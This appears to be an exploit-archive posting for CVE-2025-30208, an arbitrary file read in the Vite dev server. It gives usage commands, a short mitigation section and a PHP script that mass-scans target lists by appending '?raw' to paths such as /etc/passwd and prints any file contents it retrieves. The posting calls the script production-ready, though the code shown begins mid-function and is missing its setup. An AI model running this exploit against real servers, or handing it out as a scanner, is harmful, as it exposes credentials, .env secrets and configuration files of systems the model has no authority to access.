============================================================================================================================================= | # Title : Vite 6.2.2 Arbitrary File Read – PHP Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://vite.dev/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/190227/ & CVE-2025-30208 [+] Summary Vite contains an arbitrary file read vulnerability allowing an attacker to read arbitrary files on the server by requesting a crafted path suffixed with ?raw. This PoC demonstrates automated checks for a target or a list of targets and attempts to retrieve local files by appending ?raw. Technical Details: The PoC sends HTTP GET requests to TARGET + FILE_PATH + "?raw". When the response code is HTTP 200 and the response body is non-empty, the file is considered retrievable (vulnerable). The PoC uses cURL (in PHP) and allows toggles for verbose output, output file, and trying multiple payloads. A production-ready PHP script vite_afr_poc.php is provided (see above). [+] Usage examples: Single target: php poc.php http://localhost:5173 --file=/etc/passwd --verbose --output=found.txt Multiple targets: poc.php --list=targets.txt --try-all --output=found.txt [+] Impact: Disclosure of sensitive files such as /etc/passwd, .env, config files, and other server-local secrets. [+] Mitigation: Upgrade Vite to the vendor-fixed version. Apply vendor patches. Harden server-side path handling and ensure raw file access isn't exposed via the webserver or dev server endpoints. In production, disable dev server features or restrict them to loopback interfaces only. [+] poc Run using: php poc.php [target] [--list=domains.txt] [--file=/etc/passwd] [--verbose] [--output=found.txt] [--try-all] $http_code, 'body' => $body, 'error' => $err]; } function report_vuln($url, $outputFile = null) { $msg = "[+] Vulnerable : " . $url; echo $msg . PHP_EOL; if ($outputFile) { file_put_contents($outputFile, $url . PHP_EOL, FILE_APPEND | LOCK_EX); } } function check_vulnerability($target, $filePath, $verbose=false, $output=null) { $url = build_url($target, $filePath); echo "[*] Testing: {$url}" . PHP_EOL; $res = http_get($url, 5); if ($res['error']) { echo "[!] Error testing {$url}: " . $res['error'] . PHP_EOL; return; } if ($res['code'] === 200 && strlen((string)$res['body']) > 0) { report_vuln($url, $output); if ($verbose) { echo PHP_EOL . "--- File Content Start ---" . PHP_EOL; // Print first 500 chars safely $snippet = mb_substr((string)$res['body'], 0, 500); echo $snippet . PHP_EOL; echo "--- File Content End ---" . PHP_EOL . PHP_EOL; } } else { echo "[-] Not vulnerable or file does not exist: {$url} (HTTP {$res['code']})" . PHP_EOL; } } function check_multiple_domains($filePath, $domainListFile, $verbose=false, $output=null, $tryAll=false, $payloads=[]) { if (!file_exists($domainListFile)) { echo "[!] Error: The file '{$domainListFile}' does not exist." . PHP_EOL; return; } $lines = file($domainListFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($lines as $domain) { $domain = trim($domain); if ($domain === "") continue; if ($tryAll && !empty($payloads)) { foreach ($payloads as $p) { check_vulnerability($domain, $p, $verbose, $output); } } else { check_vulnerability($domain, $filePath, $verbose, $output); } } } // Main execution flow if (isset($options['help'])) { echo "Usage: php " . basename(__FILE__) . " [target] [--list=domains.txt] [--file=/etc/passwd] [--verbose] [--output=found.txt] [--try-all]" . PHP_EOL; exit(0); } if ($domainListFile) { check_multiple_domains($fileToRead, $domainListFile, $verbose, $outputFile, $tryAll, $payloads); } elseif ($target) { if ($tryAll) { foreach ($payloads as $p) { check_vulnerability($target, $p, $verbose, $outputFile); } } else { check_vulnerability($target, $fileToRead, $verbose, $outputFile); } } else { echo "Please provide a target URL or a domain list file. Example:" . PHP_EOL; echo "php " . basename(__FILE__) . " http://localhost:5173 --file=/etc/passwd --verbose --output=found.txt" . PHP_EOL; echo "php " . basename(__FILE__) . " --list=targets.txt --try-all --output=found.txt" . PHP_EOL; exit(1); } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================